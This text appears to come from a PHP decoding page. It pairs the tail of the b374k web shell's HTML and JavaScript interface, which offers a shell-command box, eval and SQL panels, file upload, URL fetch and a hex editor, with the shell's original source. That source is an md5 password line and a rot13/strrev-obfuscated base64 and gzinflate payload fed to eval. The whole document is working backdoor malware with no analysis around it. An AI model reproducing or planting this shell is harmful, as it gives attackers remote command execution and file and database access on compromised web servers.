		<td style='width:100%;padding:0 0 0 6px;'><span class='prompt'><?php echo $s_prompt; ?></span><form action='<?php echo $s_self; ?>' method='post'><input id='cmd' onClick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php if(isset($_GP['cmd'])){echo '';}else{echo '- shell command -';} ?>' /><noscript><input class='inputzbut' type='submit' value='Go !' name='submitcmd' style='width:80px;' /></noscript></form></td>
		</tr></table>
	</div>
	<div id='content'><div id='result'><?php echo $s_result; ?></div></div>
	<div id='navigation'><div id='totop' onclick='totopd();' onmouseover='totop();' onmouseout='stopscroll();'></div><div id='tobottom' onclick='tobottomd();' onmouseover='tobottom();' onmouseout='stopscroll();'></div></div>
<?php }else{ ?>
	<div style='width:100%;text-align:center;'><form action='<?php echo $s_self; ?>' method='post'><img src='<?php echo $s_favicon; ?>' style='margin:2px 5px;vertical-align:middle;' /><span class='gaya'><?php echo $s_title.' '; ?></span><input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' /><input class='inputzbut' type='submit' value='Login' name='submitlogin' style='width:80px;' /></form></div>
<?php }?>
	</td></tr></table>
<p class='footer'>B374k Vip In Beautify &copy; Jayalah Indonesiaku & Lyke</p>
<script type='text/javascript'><?php echo gzinflate(base64_decode($s_sortable_js)).gzinflate(base64_decode($s_domready_js)); ?></script>
<script type='text/javascript'>
var d=document;var scroll=false;var cwd='<?php echo adds($s_cwd); ?>';var hexstatus=false;var timer='';domready(function(){<?php if(isset($_GP['cmd'])){echo"if(d.getElementById('cmd')) d.getElementById('cmd').focus();";}?><?php if(isset($_GP['evalcode'])){echo"if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();";}?><?php if(isset($_GP['sqlcode'])){echo"if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();";}?><?php if(isset($_GP['login'])){echo"if(d.getElementById('login')) d.getElementById('login').focus();";}?><?php if(isset($_GP['hexedit'])){echo"showhex();";}?>if(d.getElementById('cmd'))d.getElementById('cmd').setAttribute('autocomplete','off');var textareas=d.getElementsByTagName('textarea');var count=textareas.length;for(i=0;i<count;i++){textareas[i].onkeydown=function(e){if(e.keyCode==9){e.preventDefault();var s=this.selectionStart;this.value=this.value.substring(0,this.selectionStart)+"	"+this.value.substring(this.selectionEnd);this.selectionEnd=s+1;}
else if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){this.form.submit();}}}
listen();});function is_array(var_to_tes){return(Object.prototype.toString.call(var_to_tes)==='[object Array]')?true:false;}
function listen(){var x=d.getElementsByTagName("a");for(i=0;i<x.length;i++){if(x[i].addEventListener)x[i].addEventListener("click",function(event){go(this.href,event);event.preventDefault();return false;},false);else x[i].attachEvent("onclick",function(event){return go(this.href,event);event.preventDefault();return false;});}}
function go(t,evt){if(evt.which===3||evt.button===2)return false;var z=d.getElementsByName('g');if(z){var y=z.item(this);for(var i=0;i<y.length;i++){y[i].remove();}}
t=decodeURI(t);ts=t.split('?');if(is_array(ts)&&ts.length>=2){var a=ts[0]
var v=ts[1];if(ts.length==3){a=ts[0]+'?'+ts[1]+'?';v=ts[2];}
var vs=v.split('&');var g=d.forms['g'];if(a=='')a='?';g.action=a;if(is_array(vs)){for(var i=0;i<vs.length;i++){var e=vs[i].indexOf('=');if(e>=0)addinput(g,vs[i].slice(0,e),vs[i].slice(e+1));else addinput(g,vs[0],'');}}
else{var e=vs.indexOf('=');if(e>=0)addinput(g,vs.slice(0,e),vs.slice(e+1));else addinput(g,vs,'');}
g.submit();}
else window.location=t;return false;}
function tukar_(l,b){if(d.getElementById(l))d.getElementById(l).style.display='none';if(d.getElementById(b))d.getElementById(b).style.display='block';if(d.getElementById(l+'_'))d.getElementById(l+'_').focus();}
function toggle(b){if(d.getElementById(b)){if(d.getElementById(b).style.display=='block')d.getElementById(b).style.display='none';else d.getElementById(b).style.display='block'}}
function tukar(id,cd,x,v,o){if(!o)o='';a=d.getElementById(id);b=d.getElementById(id+'_form');c='<?php echo adds($s_self); ?>';if(cd=='')cd=cwd;if(a&&b){var i=d.createElement('form');i.action=c;i.method='post';if(o!='')addinput(i,'oldname',o);addinput(i,'cd',cd);addinput(i,x,v,'text','width:80px;','','inputz');addinput(i,'','Go !','submit','width:32px;','','inputzbut');addinput(i,'','x','button','',id,'inputzbut');b.appendChild(i);a.style.display='none';}}
function addinput(f,n,v,t,s,c,cl){if(!t)t='hidden';var i=d.createElement('input');if(n)i.name=n;if(v)i.value=v;if(t)i.type=t;if(s)i.style.cssText=s;if(c)i.onclick=function(){a=d.getElementById(c);b=d.getElementById(c+'_form');a.style.display='block';b.innerHTML='';};if(cl)i.className=cl;f.appendChild(i);}
function clickcmd(){var buff=d.getElementById('cmd');if(buff.value=='- shell command -')buff.value='';}
function download(what){what.form.submit();what.selectedIndex=0;}
function hexfix(t,ev){var r=d.getElementById('hex_'+t);var q=d.getElementById('dump_'+t);var curpos=getcurpos(r);if(ev.keyCode==13||ev.keyCode==46||ev.keyCode==8||ev.keyCode==32)return false;if(ev.keyCode==40){var s=d.getElementById('hex_'+(parseInt(t)+1));if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
return false;}
if(ev.keyCode==38){var s=d.getElementById('hex_'+(parseInt(t)-1));if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
return false;}}
function showhex(){var counter=parseInt(d.getElementById('counter').value);for(var i=0;i<counter;i++)hexupdate(i);}
function hexupdate(t,ev){var r=d.getElementById('hex_'+t);var s=d.getElementById('dump_'+t);var a='0123456789ABCDEF';var hexs=r.value;var hex=hexs.replace(/\s+/ig,'');var curpos=0;clearpos();if(ev){curpos=getcurpos(r);var k=String.fromCharCode(ev.keyCode);if(curpos%3!=2){if(a.indexOf(k)>=0&&curpos<hexs.length){chr=hexs.substr(curpos,1);before=(curpos>=1)?hexs.substr(0,curpos):'';after=(curpos<hexs.length)?hexs.substr(curpos+1):'';r.value=before+k+after;setcurpos(r,curpos+1,curpos+1);}}}
if(r&&s){var str='';hexs=r.value;hex=hexs.replace(/\s+/ig,'');for(var i=0;i<hex.length;i+=2)str+=String.fromCharCode(parseInt(hex.substr(i,2),16));str=str.replace(/[^!-~]/ig,'.');str=str.replace(/</ig,'.');str=str.replace(/>/ig,'.');dmppos=Math.floor(curpos/3);chr=str.substr(dmppos,1);before=(dmppos>=1)?str.substr(0,dmppos):'';after=(dmppos<str.length)?str.substr(dmppos+1):'';s.innerHTML=before+"<span class='gaya' style='background:#000;font-weight:bold;border-bottom:1px solid #fff;border-top:1px solid #fff;'>"+chr+"</span>"+after;}}
function submithex(){if(!hexstatus){hexstatus=true;var hexstr='';var counter=parseInt(d.getElementById('counter').value);for(var i=0;i<counter;i++){var hex=d.getElementById('hex_'+i);hexstr+=hex.value;hex.remove();}
hexstr=hexstr.replace(/\s+/g,'');var hexestxtarea=d.getElementById('hexestxtarea');hexestxtarea.innerHTML=hexstr;hexestxtarea.form.submit();}}
function evalselect(e){var a=d.getElementById('additionaloption');var b=d.getElementById('evaloption');if(a){if(e.value=='php')a.className='sembunyi';else a.className='';if(b)evaloption.value='';}}
function getcurpos(c){var p=0;if(d.selection){c.focus();var sel=d.selection.createRange();sel.moveStart('character',c.value.length);p=sel.text.length;}
else if(c.selectionStart||c.selectionStart=='0')
p=c.selectionStart;return p;}
function setcurpos(c,p1,p2){if(c.setSelectionRange){c.focus();c.setSelectionRange(p1,p2);}
else if(c.createTextRange){var r=c.createTextRange();r.collapse(true);r.moveStart('character',p1);r.moveEnd('character',p2);r.select();}}
function clearpos(){var a=d.getElementsByName('hexdump');for(var i=0;i<a.length;i++)a[i].innerHTML=a[i].innerHTML.replace(/<[^>]+>/ig,'');}
function findtype(ty){var z=d.getElementById('type');if(z&&(ty=='sdir'))z.selectedIndex=1;else if(z&&(ty=='sfile'))z.selectedIndex=0;}
function checkall(){var a=d.getElementsByName('cbox');var b=d.getElementsByName('abox');var z='<?php if(isset($_GP['x']) && ($_GP['x']=='ps')){echo "ps";} ?>';for(var i=0;i<a.length;i++){if(a[i].checked||(z=='ps')||(i!=0)&&(i!=1)){a[i].checked=b[0].checked;}
var c=a[i].parentElement.parentElement;if(a[i].checked)c.className='cbox_selected';else c.className='';}
total_selected();}
function hilite(el){var c=el.parentElement.parentElement;if(el.checked)c.className='cbox_selected';else c.className='';total_selected();}
function total_selected(){var a=d.getElementsByName('cbox');var b=d.getElementById('total_selected');var c=0;for(var i=0;i<a.length;i++)if(a[i].checked)c++;if(c==0)b.innerHTML='';else b.innerHTML=' ( selected : '+c+' items )';}
function massactgo(){var a=d.getElementsByName('cbox');var b=d.getElementById('massact');var c=d.getElementsByName('abox');var buffer='';if(b.value=='cut'||b.value=='copy'){d.cookie='massact='+b.value+';';for(var i=0;i<a.length;i++)if(a[i].checked)buffer+=a[i].value+'|';d.cookie='buffer='+escape(buffer);}
else if(b.value=='paste'){addinput(b.form,'y','paste');b.form.submit();}
else{for(var i=0;i<a.length;i++)if(a[i].checked)buffer+=a[i].value+'|';d.cookie='buffer='+escape(buffer);addinput(b.form,'y',b.value);b.form.submit();}
for(var i=0;i<a.length;i++){a[i].checked=false;a[i].parentElement.parentElement.className='';}
c[0].checked=false;}
function pkill(){var a=d.getElementsByName('cbox');var c=d.getElementsByName('abox');var buffer='';for(var i=0;i<a.length;i++)if(a[i].checked)buffer+=a[i].value+'|';if(buffer!=''){addinput(c[0].form,'x','ps');addinput(c[0].form,'pid',buffer);c[0].form.submit();}
for(var i=0;i<a.length;i++){a[i].checked=false;a[i].parentElement.parentElement.className='';}
c[0].checked=false;}
function dc(id){d.cookie=dbcon[id]+'=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';}
function totop(){if(!scroll){var dur=window.pageYOffset;scroll=true;scrollto(0,dur);}}
function totopd(){d.body.scrollTop=d.documentElement.scrollTop=0;stopscroll();}
function tobottom(){if(!scroll){var dur=getheight()-window.pageYOffset;scroll=true;scrollto(getheight(),dur);}}
function tobottomd(){d.body.scrollTop=d.documentElement.scrollTop=getheight();stopscroll();}
function stopscroll(){scroll=false;clearTimeout(timer);}
function scrollto(to,dur){var start=d.documentElement.scrollTop+d.body.scrollTop,change=to-start,cur=0,inc=20;var anim=function(){if(scroll){cur+=inc;var val=easing(cur,start,change,dur);d.body.scrollTop=d.documentElement.scrollTop=val;if(cur<dur){if(scroll)timer=setTimeout(anim,inc);}
else stopscroll();}};anim();}
function easing(t,b,c,e){return-c*Math.cos(t/e*(Math.PI/2))+c+b;}
function getheight(){return Math.max(d.body.scrollHeight,d.documentElement.scrollHeight,d.body.offsetHeight,d.documentElement.offsetHeight,d.body.clientHeight,d.documentElement.clientHeight);}
function adduploadc(){var form="<tr><td colspan='2'><hr /></td></tr><tr><td style='width:140px;'>File</td><td><input type='file' name='filepath[]' class='inputzbut' style='width:400px;margin:0;' /></td></tr><tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder[]' value='"+cwd+"' /></td></tr><tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename[]' value='' /></td></tr>";var a=d.getElementById('adduploadc');if(a)a.insertAdjacentHTML('beforeend',form);}
function adduploadi(){var form="<tr><td colspan='2'><hr /></td></tr><tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl[]' value='' /></td></tr><tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl[]' value='"+cwd+"' /></td></tr><tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl[]' value='' /></td></tr>";var a=d.getElementById('adduploadi');if(a)a.insertAdjacentHTML('beforeend',form);}
</script>
</body>
</html><?php die(); ?><?

Did this file decode correctly?

Original Code

<?php
/*
	B374k Vip In Beautify Just For Self
	Jayalah Indonesiaku & Lyke @ 2013
	Http://code.google.com/p/b374k-shell
*/
$s_pass='0de664ecd2be02cdd54234a0d1229b43'; // shell password, fill with password in md5 format to protect shell, default : b374k
$_=str_rot13('tm'.'vas'.'yngr');$__=str_rot13(strrev('rqb'.'prq'.'_'.'46r'.'fno'));$___=str_rot13(strrev('31'.'gb'.'e_e'.'gf'));eval($_($__($___('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